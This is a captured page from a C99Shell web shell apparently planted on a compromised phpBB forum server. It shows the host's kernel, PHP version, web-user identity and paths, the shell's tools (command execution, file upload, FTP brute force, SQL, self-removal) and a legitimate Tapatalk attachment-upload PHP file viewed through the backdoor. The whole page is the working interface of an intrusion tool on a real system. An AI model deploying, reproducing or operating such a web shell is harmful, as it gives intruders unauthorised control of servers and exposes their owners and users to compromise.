!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phpbb3/mobiquo/function/   drwxrwxr-x
Free 83.28 GB of 96.73 GB (86.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     attach_image.php (4.06 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*
* @copyright (c) 2009 Quoord Systems Limited
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

defined('IN_MOBIQUO') or exit;

function 
attach_image_func($xmlrpc_params)
{
    global 
$db$auth$user$config$phpbb_root_path$phpEx;

    
$params php_xmlrpc_decode($xmlrpc_params);

    include(
$phpbb_root_path 'includes/message_parser.' $phpEx);
    include(
'include/functions_posting.' $phpEx);

    
// get parameters
    
$image     = isset($params[0]) ? $params[0] : '';
    
$name      = isset($params[1]) ? $params[1] : '';
    
$type      = isset($params[2]) ? ($params[2] == 'JPG' 'image/jpeg' 'image/png') : 'image/jpeg';
    
$forum_id  = isset($params[3]) ? intval($params[3]) : '';
    
    
// Forum does not exist
    
if (!$forum_id)
    {
        return 
get_error(3);
    }
    
    
//------- Grab appropriate forum data --------        
    
$sql "SELECT f.* FROM " FORUMS_TABLE " f WHERE f.forum_id = $forum_id";
    
$result $db->sql_query($sql);
    
$forum_data $db->sql_fetchrow($result);
    
$db->sql_freeresult($result);    
    
    
// Forum does not exist
    
if (!$forum_data)
    {
        return 
get_error(3);
    }
    
    
// Can not upload attachment to link forum
    
if ($forum_data['forum_type'] != FORUM_POST)
    {
        return 
get_error(3);
    }
    
    
// Is the user able to read within this forum?
    
if (!$auth->acl_gets('f_read'$forum_id))
    {
        return 
get_error(17);
    }
    
    
// Need to login to passworded forum first?
    
if ($forum_data['forum_password'] && !check_forum_password($forum_id))
    {
        return 
get_error(6);
    }
    
    
// Check permissions
    
if ($user->data['is_bot'] || !$auth->acl_gets('f_attach'$forum_id) || !$auth->acl_gets('u_attach') || !$config['allow_attachments'] || @ini_get('file_uploads') == '0' || strtolower(@ini_get('file_uploads')) == 'off')
    {
        return 
get_error(2);
    }
    
    if (!
$user->data['is_registered'
        || (!
$auth->acl_get('f_post'$forum_id) && !$auth->acl_gets('f_edit''m_edit'$forum_id) && !$auth->acl_get('f_reply'$forum_id)))
    {
        return 
get_error(2);
    }

//    $tmp_name = tempnam(sys_get_temp_dir(), 'php');
//    $fp = fopen($tmp_name, 'w');
//    fwrite($fp, $image);
//    fclose($fp);
    
    
$fp tmpfile();
    
fwrite($fp$image);
    
$file_info stream_get_meta_data($fp);
    
$tmp_name $file_info['uri'];
    
$filesize = @filesize($tmp_name);
    
    if(
$filesize == 0){
        if(
file_exists($tmp_name)){
            @
unlink($tmp_name);
        }
        
$tmp_name tempnam(getcwd().'/tmp''');
        
$tmp_file fopen ($tmp_name"w");
        
$tmp_size =  fwrite($tmp_file$image);
        
fclose($tmp_file); 
        
$filesize =  filesize($tmp_name);
    }

    
$_FILES[fileupload] = array(
        
'name' => $name,
        
'type' => $type,
        
'tmp_name' => $tmp_name,
        
'error' => 0,
        
'size' => $filesize $filesize strlen($image)
    );
    
    
$_POST['add_file'] = true;
    
    
$message_parser = new parse_message();
    
//    // Always check if the submitted attachment data is valid and belongs to the user.
//    // Further down (especially in submit_post()) we do not check this again.
//    $message_parser->get_submitted_attachment_data($post_data['poster_id']);

    // Parse Attachments - before checksum is calculated
    //$message_parser->parse_attachments('fileupload', $mode, $forum_id, $submit, $preview, $refresh);
    
$message_parser->parse_attachments('fileupload'$mode$forum_idfalsefalsetrue);
    
    
fclose($fp);

    
$attachment_id $message_parser->attachment_data['0']['attach_id'];
    
    if(
file_exists($tmp_name)){
        @
unlink($tmp_name);
    }
    
    if (
$attachment_id
    {
        
$xmlrpc_result = new xmlrpcval(array('attachment_id'  => new xmlrpcval($attachment_id)), 'struct');
        return new 
xmlrpcresp($xmlrpc_result);
    } 
    else 
    {
        return 
get_error();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0036 ]--